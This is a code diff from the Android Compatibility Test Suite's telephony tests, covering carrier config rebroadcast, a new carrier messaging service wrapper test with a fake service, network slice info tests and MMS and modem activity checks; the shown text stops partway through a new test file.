@@ -102,9 +106,7 @@
      * the device supports cellular data.
      */
     private boolean hasTelephony() {
-        ConnectivityManager mgr =
-                (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        return mgr.isNetworkSupported(ConnectivityManager.TYPE_MOBILE);
+        return mTelephonyManager.isDataCapable();
     }
 
     private boolean isSimCardPresent() {
@@ -318,6 +320,46 @@
     }
 
     @Test
+    public void testExtraRebroadcastOnUnlock() throws Throwable {
+        if (!hasTelephony()) {
+            return;
+        }
+
+        BlockingQueue<Boolean> queue = new ArrayBlockingQueue<Boolean>(5);
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                    queue.add(new Boolean(true));
+                    // verify that REBROADCAST_ON_UNLOCK is populated
+                    assertFalse(
+                            intent.getBooleanExtra(CarrierConfigManager.EXTRA_REBROADCAST_ON_UNLOCK,
+                            true));
+                }
+            }
+        };
+
+        try {
+            final IntentFilter filter =
+                    new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+            getContext().registerReceiver(receiver, filter);
+
+            // verify that carrier config is received
+            int subId = SubscriptionManager.getDefaultSubscriptionId();
+            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+            mConfigManager.notifyConfigChangedForSubId(subId);
+
+            Boolean broadcastReceived = queue.poll(BROADCAST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertNotNull(broadcastReceived);
+            assertTrue(broadcastReceived);
+        } finally {
+            // unregister receiver
+            getContext().unregisterReceiver(receiver);
+            receiver = null;
+        }
+    }
+
+    @Test
     public void testGetConfigByComponentForSubId() {
         PersistableBundle config =
                 mConfigManager.getConfigByComponentForSubId(
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierMessagingServiceWrapperTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierMessagingServiceWrapperTest.java
new file mode 100644
index 0000000..4f4f96e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierMessagingServiceWrapperTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static android.telephony.cts.FakeCarrierMessagingService.FAKE_MESSAGE_REF;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+
+import android.content.Context;
+import android.net.Uri;
+import android.service.carrier.CarrierMessagingService;
+import android.service.carrier.CarrierMessagingServiceWrapper;
+import android.service.carrier.MessagePdu;
+import android.telephony.SmsMessage;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.Mock;
+import org.mockito.Mockito;
+import org.mockito.MockitoAnnotations;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Build, install and run the tests by running the commands below:
+ *  make cts -j64
+ *  cts-tradefed run cts -m CtsTelephonyTestCases --test android.telephony.cts.
+ *  CarrierMessagingServiceWrapperTest
+ */
+public class CarrierMessagingServiceWrapperTest {
+    private TelephonyManager mTelephonyManager;
+    private int mTestSub;
+    private Context mContext;
+    private CarrierMessagingServiceWrapper mServiceWrapper;
+    private CompletableFuture<Void> mServiceReadyFuture = new CompletableFuture<>();
+    private Runnable mOnServiceReadyCallback = () -> mServiceReadyFuture.complete(null);
+    private String mPdu = "07916164260220F0040B914151245584F600006060605130308A04D4F29C0E";
+    private static final int TIMEOUT_IN_MS = 1000;
+    @Mock
+    private CarrierMessagingServiceWrapper.CarrierMessagingCallback mCallback;
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        MockitoAnnotations.initMocks(this);
+        mContext = getContext();
+        mTestSub = SubscriptionManager.getDefaultSubscriptionId();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(mTestSub);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mServiceWrapper != null) mServiceWrapper.disconnect();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Tests that the device properly connects to available CarrierMessagingServices.
+     */
+    @Test
+    public void testConnectToMessagingServiceWrapper() {
+        String packageName = "android.telephony.cts";
+        mServiceWrapper = new CarrierMessagingServiceWrapper();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.BIND_CARRIER_SERVICES");
+        boolean bindResult = mServiceWrapper.bindToCarrierMessagingService(
+                mContext, packageName, Runnable::run, mOnServiceReadyCallback);
+        assertTrue(bindResult);
+
+        waitForServiceReady("Service " + packageName + " should be ready.");
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can receive sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testReceiveSms() {
+        testConnectToMessagingServiceWrapper();
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.receiveSms(new MessagePdu(Arrays.asList(
+                TelephonyUtils.hexStringToByteArray(mPdu))), SmsMessage.FORMAT_3GPP, -1,
+                mTestSub, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onReceiveSmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send text sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendTextSms() {
+        testConnectToMessagingServiceWrapper();
+
+        String destAddress = getPhoneNumber();
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendTextSms("Testing CarrierMessagingService#sendTextSms", mTestSub,
+                destAddress, 0, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendSmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT, FAKE_MESSAGE_REF);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send data sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendDataSms() {
+        testConnectToMessagingServiceWrapper();
+
+        String destAddress = getPhoneNumber();
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendDataSms(TelephonyUtils.hexStringToByteArray(
+                "0123abcABC"), mTestSub,
+                destAddress, -1, 0,  Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendSmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT, FAKE_MESSAGE_REF);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send multipart sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendMultipartTextSms() {
+        testConnectToMessagingServiceWrapper();
+
+        String destAddress = getPhoneNumber();
+
+        List<String> multipartTextSms = Arrays.asList(
+                "Testing CarrierMessagingService#sendMultipartTextSms#part1",
+                "Testing CarrierMessagingService#sendMultipartTextSms#part2");
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendMultipartTextSms(multipartTextSms, mTestSub,
+                destAddress, 0,  Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendMultipartSmsComplete(
+                eq(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT),
+                eq(new int[] {FAKE_MESSAGE_REF}));
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send data sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testDownloadMms() {
+        testConnectToMessagingServiceWrapper();
+        Uri fakeUri = Uri.parse("fakeUriString");
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.downloadMms(fakeUri, mTestSub, fakeUri, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onDownloadMmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send mms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendMms() {
+        testConnectToMessagingServiceWrapper();
+        Uri fakeUri = Uri.parse("fakeUriString");
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendMms(fakeUri, mTestSub, fakeUri, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendMmsComplete(
+                eq(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT), any());
+    }
+
+    private boolean isServiceReady() {
+        return (mServiceReadyFuture != null && mServiceReadyFuture.isDone());
+    }
+
+    private String mPhoneNumber;
+
+    private String getPhoneNumber() {
+        if (mPhoneNumber == null) mPhoneNumber = mTelephonyManager.getLine1Number();
+        return mPhoneNumber;
+    }
+
+    private void waitForServiceReady(String failMessage) {
+        try {
+            mServiceReadyFuture.get(CarrierMessagingServiceWrapperTest.TIMEOUT_IN_MS,
+                    TimeUnit.MILLISECONDS);
+        } catch (InterruptedException | ExecutionException e) {
+            assertTrue(isServiceReady());
+        } catch (TimeoutException e) {
+            fail(failMessage + " within "
+                    + CarrierMessagingServiceWrapperTest.TIMEOUT_IN_MS + " ms.");
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
index a621d9e..2859cd2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.PersistableBundle;
 import android.telephony.CarrierConfigManager;
@@ -31,10 +32,12 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.concurrent.CompletableFuture;
@@ -48,6 +51,10 @@
         }
     }
 
+    @Rule
+    public final RequiredFeatureRule mTelephonyRequiredRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY);
+
     private static final int TEST_TIMEOUT_MILLIS = 5000;
     private Context mContext;
     private CarrierConfigManager mCarrierConfigManager;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index bf13b0c..66554d4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -62,6 +62,7 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.Executor;
 
@@ -585,6 +586,9 @@
 
         if (mRadioHalVersion >= RADIO_HAL_VERSION_1_5) {
             int[] bands = nr.getBands();
+
+            verifyCellIdentityNrBands(bands);
+
             for (int band: bands) {
                 assertTrue("getBand out of range [1, 95] or [257, 261], band = " + band,
                         (band >= BAND_FR1_MIN_NR && band <= BAND_FR1_MAX_NR)
@@ -643,6 +647,14 @@
                 + ssSinr, -23 <= ssSinr && ssSinr <= 40 || ssSinr == CellInfo.UNAVAILABLE);
     }
 
+    private void verifyCellIdentityNrBands(int[] nrBands) {
+        //Verify the registered cell reports non-null band.
+        assertTrue(nrBands != null);
+
+        //Verify the registered cell reports at least one band.
+        assertTrue(Arrays.stream(nrBands).anyMatch(band -> band > 0));
+    }
+
     private void verifyCellInfoLteParcelandHashcode(CellInfoLte lte) {
         Parcel p = Parcel.obtain();
         lte.writeToParcel(p, 0);
@@ -701,6 +713,9 @@
 
         if (mRadioHalVersion >= RADIO_HAL_VERSION_1_5) {
             int[] bands = lte.getBands();
+
+            verifyCellIdentityLteBands(bands);
+
             for (int band: bands) {
                 assertTrue("getBand out of range [1, 88], band = " + band,
                         band >= BAND_MIN_LTE && band <= BAND_MAX_LTE);
@@ -809,6 +824,14 @@
         assertEquals(cellSignalStrengthLte, newCss);
     }
 
+    private void verifyCellIdentityLteBands(int[] lteBands) {
+        //Verify the registered cell reports non-null band.
+        assertTrue(lteBands != null);
+
+        //Verify the registered cell reports at least one band.
+        assertTrue(Arrays.stream(lteBands).anyMatch(band -> band > 0));
+    }
+
     // Verify wcdma cell information is within correct range.
     private void verifyWcdmaInfo(CellInfoWcdma wcdma) {
         verifyCellConnectionStatus(wcdma.getCellConnectionStatus());
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index ea36271..6b8499d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -18,8 +18,8 @@
 
 import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_DO_FALLBACK;
 import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_LEGACY;
-import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
-import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
+import static android.telephony.data.NetworkSliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.NetworkSliceInfo.SLICE_SERVICE_TYPE_MIOT;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -28,7 +28,7 @@
 import android.os.Parcel;
 import android.telephony.data.ApnSetting;
 import android.telephony.data.DataCallResponse;
-import android.telephony.data.SliceInfo;
+import android.telephony.data.NetworkSliceInfo;
 import android.telephony.data.TrafficDescriptor;
 
 import org.junit.Test;
@@ -60,15 +60,15 @@
     private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
     private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
     private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
-    private static final SliceInfo SLICE_INFO =
-            new SliceInfo.Builder()
+    private static final NetworkSliceInfo SLICE_INFO =
+            new NetworkSliceInfo.Builder()
                 .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
                 .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
                 .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
                 .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
                 .build();
     private static final String DNN = "DNN";
-    private static final String OS_APP_ID = "OS_APP_ID";
+    private static final byte[] OS_APP_ID = {1, 2, 3, 4};
     private static final List<TrafficDescriptor> TRAFFIC_DESCRIPTORS =
             Arrays.asList(new TrafficDescriptor(DNN, OS_APP_ID));
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/FakeCarrierMessagingService.java b/tests/tests/telephony/current/src/android/telephony/cts/FakeCarrierMessagingService.java
new file mode 100644
index 0000000..068a465
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/FakeCarrierMessagingService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import android.net.Uri;
+import android.os.RemoteException;
+import android.service.carrier.CarrierMessagingService;
+import android.service.carrier.MessagePdu;
+
+import java.util.List;
+
+/**
+ * The class that serves as a fake CarrierMessagingService. It allows
+ * CarrierMessagingServiceWrapperTest to connect to and test against.
+ */
+public class FakeCarrierMessagingService extends CarrierMessagingService {
+    public static int FAKE_MESSAGE_REF = 1;
+    @Override
+    public void onReceiveTextSms(MessagePdu pdu, String format, int destPort,
+            int subId, ResultCallback<Integer> callback) {
+        try {
+            callback.onReceiveResult(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendTextSms(String text, int subId, String destAddress,
+            int sendSmsFlag, ResultCallback<SendSmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendSmsResult(SEND_STATUS_OK, FAKE_MESSAGE_REF));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendDataSms(byte[] data, int subId, String destAddress,
+            int destPort, int sendSmsFlag, ResultCallback<SendSmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendSmsResult(SEND_STATUS_OK, FAKE_MESSAGE_REF));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendMultipartTextSms(List<String> parts, int subId,
+            String destAddress, int sendSmsFlag,
+            ResultCallback<SendMultipartSmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendMultipartSmsResult(
+                    SEND_STATUS_OK, new int[] {FAKE_MESSAGE_REF}));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendMms(Uri pduUri, int subId, Uri location,
+            ResultCallback<SendMmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendMmsResult(
+                    SEND_STATUS_OK, new byte[0]));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onDownloadMms(Uri contentUri, int subId, Uri location,
+            ResultCallback<Integer> callback) {
+        try {
+            callback.onReceiveResult(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+        } catch (RemoteException ex) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index f10b27c..e68bcb5 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -64,8 +64,10 @@
     private static final String TAG = "MmsTest";
 
     private static final String ACTION_MMS_SENT = "CTS_MMS_SENT_ACTION";
+    private static final String ACTION_MMS_DOWNLOAD = "CTS_MMS_DOWNLOAD_ACTION";
     private static final long DEFAULT_EXPIRY_TIME = 7 * 24 * 60 * 60;
     private static final int DEFAULT_PRIORITY = PduHeaders.PRIORITY_NORMAL;
+    private static final long MESSAGE_ID = 912412L;
 
     private static final String SUBJECT = "CTS MMS Test";
     private static final String MESSAGE_BODY = "CTS MMS test message body";
@@ -173,6 +175,15 @@
 
     @Test
     public void testSendMmsMessage() {
+        sendMmsMessage(0L /* messageId */);
+    }
+
+    @Test
+    public void testSendMmsMessageWithMessageId() {
+        sendMmsMessage(MESSAGE_ID);
+    }
+
+    private void sendMmsMessage(long messageId) {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
              || !doesSupportMMS()) {
             Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
@@ -200,9 +211,15 @@
                 .build();
         // Send
         final PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                context, 0, new Intent(ACTION_MMS_SENT), 0);
-        SmsManager.getDefault().sendMultimediaMessage(context,
-                contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
+                context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        if (messageId == 0L) {
+            SmsManager.getDefault().sendMultimediaMessage(context,
+                    contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
+        } else {
+            SmsManager.getDefault().sendMultimediaMessage(context,
+                    contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent,
+                    messageId);
+        }
         assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
         sendFile.delete();
     }
@@ -319,4 +336,59 @@
                 .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
     }
 
+    @Test
+    public void testDownloadMultimediaMessage() {
+        downloadMultimediaMessage(0L /* messageId */);
+    }
+
+    @Test
+    public void testDownloadMultimediaMessageWithMessageId() {
+        downloadMultimediaMessage(MESSAGE_ID);
+    }
+
+    private void downloadMultimediaMessage(long messageId) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || !doesSupportMMS()) {
+            Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
+            return;
+        }
+
+        Log.i(TAG, "testSendMmsMessage");
+        // Prime the MmsService so that MMS config is loaded
+        final SmsManager smsManager = SmsManager.getDefault();
+        smsManager.getCarrierConfigValues();
+        // MMS config is loaded asynchronously. Wait a bit so it will be loaded.
+        try {
+            Thread.sleep(1000);
+        } catch (InterruptedException e) {
+            // Ignore
+        }
+
+        final Context context = getContext();
+        // Create local provider file
+        final String fileName = "download." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
+        final File sendFile = new File(context.getCacheDir(), fileName);
+        final Uri contentUri = (new Uri.Builder())
+                .authority(PROVIDER_AUTHORITY)
+                .path(fileName)
+                .scheme(ContentResolver.SCHEME_CONTENT)
+                .build();
+
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(
+                context, 0, new Intent(ACTION_MMS_DOWNLOAD), 0);
+
+        if (messageId == 0L) {
+            // Verify the downloadMultimediaMessage function without messageId exists. This test
+            // doesn't actually verify downloading is successful, just that the function to
+            // initiate the downloading has been implemented.
+            smsManager.downloadMultimediaMessage(context, "foo/fake", contentUri,
+                    null /* configOverrides */, pendingIntent);
+        } else {
+            // Verify the downloadMultimediaMessage function with messageId exists. This test
+            // doesn't actually verify downloading is successful, just that the function to
+            // initiate the downloading has been implemented.
+            smsManager.downloadMultimediaMessage(context, "foo/fake", contentUri,
+                    null /* configOverrides */, pendingIntent, MESSAGE_ID);
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java
index f0acc85..2e4471b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ModemActivityInfoTest.java
@@ -15,13 +15,17 @@
  */
 package android.telephony.cts;
 
-import android.telephony.ModemActivityInfo;
-
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import android.os.SystemClock;
+import android.telephony.ModemActivityInfo;
+
 import org.junit.Test;
 
+import java.util.stream.IntStream;
+
 /**
  * CTS test for ModemActivityInfo APIs
  */
@@ -31,12 +35,12 @@
     private static final int VALID_SLEEP_TIME_MS = 1;
     private static final int VALID_IDLE_TIME_MS = 1;
     private static final int VALID_RX_TIME_MS = 1;
-    private static final int[] VALID_TX_TIME_MS = {1, 1};
+    private static final int[] VALID_TX_TIME_MS = {1, 1, 1, 1, 1};
 
     private static final int INVALID_SLEEP_TIME_MS = -1;
     private static final int INVALID_IDLE_TIME_MS = -1;
     private static final int INVALID_RX_TIME_MS = -1;
-    private static final int[] INVALID_TX_TIME_MS = {-1, 1};
+    private static final int[] INVALID_TX_TIME_MS = {-1, 1, -1, 1, -1};
 
     @Test
     public void testModemActivityInfoIsValid() {
@@ -64,4 +68,25 @@
         assertFalse("ModemActivityInfo should be invalid because transmit time is invalid",
                 modemActivityInfo.isValid());
     }
+
+    @Test
+    public void testAccessors() {
+        ModemActivityInfo info = new ModemActivityInfo(SystemClock.elapsedRealtime(),
+                VALID_SLEEP_TIME_MS, VALID_IDLE_TIME_MS, VALID_TX_TIME_MS, VALID_RX_TIME_MS);
+        assertTrue(SystemClock.elapsedRealtime() >= info.getTimestampMillis());
+        assertEquals(VALID_SLEEP_TIME_MS, info.getSleepTimeMillis());
+        assertEquals(VALID_IDLE_TIME_MS, info.getIdleTimeMillis());
+        assertEquals(VALID_RX_TIME_MS, info.getReceiveTimeMillis());
+        IntStream.range(0, ModemActivityInfo.getNumTxPowerLevels()).forEach(
+                (x) -> assertEquals(VALID_TX_TIME_MS[x],
+                        info.getTransmitDurationMillisAtPowerLevel(x)));
+    }
+
+    @Test
+    public void testDiff() {
+        ModemActivityInfo info = new ModemActivityInfo(SystemClock.elapsedRealtime(),
+                VALID_SLEEP_TIME_MS, VALID_IDLE_TIME_MS, VALID_TX_TIME_MS, VALID_RX_TIME_MS);
+        ModemActivityInfo zeroInfo = new ModemActivityInfo(0, 0, 0, new int[]{0, 0, 0, 0, 0}, 0);
+        assertEquals(info, zeroInfo.getDelta(info));
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/NetworkSliceInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/NetworkSliceInfoTest.java
new file mode 100644
index 0000000..54e6a1f
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/NetworkSliceInfoTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static android.telephony.data.NetworkSliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.NetworkSliceInfo.SLICE_SERVICE_TYPE_MIOT;
+import static android.telephony.data.NetworkSliceInfo.SLICE_STATUS_CONFIGURED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.os.Parcel;
+import android.telephony.data.NetworkSliceInfo;
+
+import org.junit.Test;
+
+public class NetworkSliceInfoTest {
+    private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+    private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
+    private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+    private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+    private static final int TEST_SLICE_STATUS = SLICE_STATUS_CONFIGURED;
+
+    @Test
+    public void testParceling() {
+        testParceling(new NetworkSliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .build());
+
+        testParceling(new NetworkSliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .build());
+
+        testParceling(new NetworkSliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .build());
+
+        testParceling(new NetworkSliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+                .build());
+    }
+
+    private void testParceling(NetworkSliceInfo sliceInfo1) {
+        Parcel stateParcel = Parcel.obtain();
+        sliceInfo1.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        NetworkSliceInfo parcelResponse = NetworkSliceInfo.CREATOR.createFromParcel(stateParcel);
+        assertThat(parcelResponse).isEqualTo(sliceInfo1);
+    }
+
+    @Test
+    public void testSliceDifferentiatorRange() {
+        new NetworkSliceInfo.Builder()
+                .setSliceDifferentiator(NetworkSliceInfo.MIN_SLICE_DIFFERENTIATOR)
+                .setSliceDifferentiator(NetworkSliceInfo.MAX_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(NetworkSliceInfo.MIN_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(NetworkSliceInfo.MAX_SLICE_DIFFERENTIATOR);
+
+        try {
+            new NetworkSliceInfo.Builder()
+                    .setSliceDifferentiator(NetworkSliceInfo.MIN_SLICE_DIFFERENTIATOR - 1);
